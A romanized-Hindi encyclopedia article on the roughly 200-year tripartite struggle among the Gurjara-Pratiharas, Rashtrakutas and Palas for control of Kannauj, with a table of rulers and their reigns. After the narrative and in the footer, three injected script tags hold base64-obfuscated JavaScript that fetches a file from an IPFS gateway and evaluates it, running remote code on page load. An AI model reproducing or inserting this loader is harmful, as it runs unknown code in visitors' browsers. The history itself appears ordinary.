त्रिपक्षीय संघर्ष
harshavardhan ke shasan kal se hi 'kannauj' par niyantran uttari bharat par prabhutv ka pratik mana jata tha. araboan ke akraman ke uparant bharatiy prayadvip ke antargat tin mahattvapoorn shaktiyaan thian- gujarat evan rajapootana ke gurjar-pratihar, dakkan ke rashtrakoot evan bangal ke pal. kannauj par adhipaty ko lekar lagabhag 200 varshoan tak in tin mahashaktiyoan ke bich hone vale sangharsh ko hi tripakshiy sangharsh kaha gaya hai. is sangharsh mean antim saphalata gurjar-pratiharoan ko mili.
shasak | vansh | shasan kal |
---|---|---|
vatsaraj | gurjar pratihar vansh | 783-795 ee. |
nagabhatt dvitiy | gurjar pratihar vansh | 795-833 ee. |
ramabhadr | gurjar pratihar vansh | 833-836 ee. |
mihirabhoj | gurjar pratihar vansh | 836-889 ee. |
mahendr pal | gurjar pratihar vansh | 890-910 ee. |
dhruv dharavarsh | rashtrakoot vansh | 780-793 ee. |
govind tritiy | rashtrakoot vansh | 793-814 ee. |
amoghavarsh pratham | rashtrakoot vansh | 814-878 ee. |
krishna dvitiy | rashtrakoot vansh | 878-914 ee. |
dharmapal | pal vansh | 770-810 ee. |
devapal | pal vansh | 810-850 ee. |
vigrahapal | pal vansh | 850-860 ee |
narayanapal | pal vansh | 860-915 ee. |
sangharsh ka karan
chhathi shatabdi ee. mean gupt samrajy ke patan ke bad hi rajanitik shakti ke kendr ke roop mean 'patiliputr' ka mahatv samapt ho gaya. phalasvaroop isaka sthan uttar bharat mean sthit kannauj ne le liya. prashn uthata hai ki, kannauj sangharsh ka karan kyoan bana. harshavardhan ke bad uttar bharat ka sarvadhik mahattvapoorn nagar hone, ganga nadi ke kinare sthit hone ke karan vyaparik drishti se mahattvapoorn hone, ganga tatha yamuna ke bich mean sthit hone ke karan uttar bharat ka sarvadhik upajaoo kshetr hone evan tinoan mahashaktiyoan ki rajanitik mahatvakaankshaoan ki poorti upayukt kshetr hone ke karan hi kannauj sangharsh ka kshetr bana.
- 'tripakshiy sangharsh' mean shamil hokar rashtrakoot shakti ne, dakshin se uttar par akraman karane vali evan uttar bharat ki rajaniti mean dakhal dene vali dakshin ki pratham shakti banane ka gaurav prapt kiya.
dharmapal ki vijay
'tripakshiy sangharsh' ki shuruat pratihar shasak vatsaraj ne ki, jab usane kannauj par shasan karane vale tatkalin 'ayudh' shasak indrayudh ko parast kar uttar bharat par apana adhipaty jamane ka prayas kiya. sangharsh ke pratham charan mean pratihar naresh vatsaraj, pal naresh dharmapal evan rashtrakoot naresh dhruv mean sangharsh hua. dharmapal ko parajit karane ke uparant vatsaraj ka dhruv se sangharsh hua, isamean dhruv vijayi raha. dhruv uttar bharat mean adhik dinoan tak n rukakar vapas dakshin chala gaya. rashtrakoot naresh se harane ke uparant kuchh samay tak pratihar shasak hatotsahit rahe. is samay ka fayada uthakar pal naresh dharmapal ne kannauj par akraman kar 'indrayudh' ko apadasth karake apane sanrakshan mean 'chakrayudh' ko rajagaddi par baithaya.
pratiharoan ka adhikar
pal shasak ki saphalata pratihar shasakoan ke lie asahaniy thi, atah vatsaraj ke putr nagabhatt dvitiy ne kannauj par akraman kar adhikar kar liya. dharmapal ko parast karane ke kuchh din bad hi nagabhatt dvitiy ko rashtrakoot shasak govind tritiy se parast hona p da. is parajay se gurjar-pratihar ki shakti kafi kshin ho gee. kalantar mean pal shasak dharmapal ki mrityu ke uparant ek bar phir nagabhatt dvitiy ne kannauj par adhikar ka prayas kiya. vah saphal bhi hua aur usane kannauj ko apani rajadhani banaya.
sangharsh ke is daur mean rashtrakoot shasak antarik kathinaiyoan ke karan maidan se bahar rahe. rashtrakoot naresh amoghavarsh apane pita ke saman parakrami nahian tha. atah rashtrakoot ki bhoomika is sangharsh mean samapt ho gee. pratihar shasak bhoj ke uparant mahendr pal shasak bana, jisane bangal par vijay prapt ki. usake pashchath mahipal pratham ke samay tak paloan ki shakti ka ant ho chuka tha. isalie yah yuddh pratiharoan aur rashtrakootoan ki bich hue. atev yah yuddh ab 'tribhujakar yuddh' n raha. kannauj poorn roop se pratiharoan ke adhikar mean a gaya, vaise chhit-put sangharsh 9vian shatabdi tak chalate rahe.
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
|
|
|
|
|
tika tippani aur sandarbh
sanbandhit lekh
varnamala kramanusar lekh khoj
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>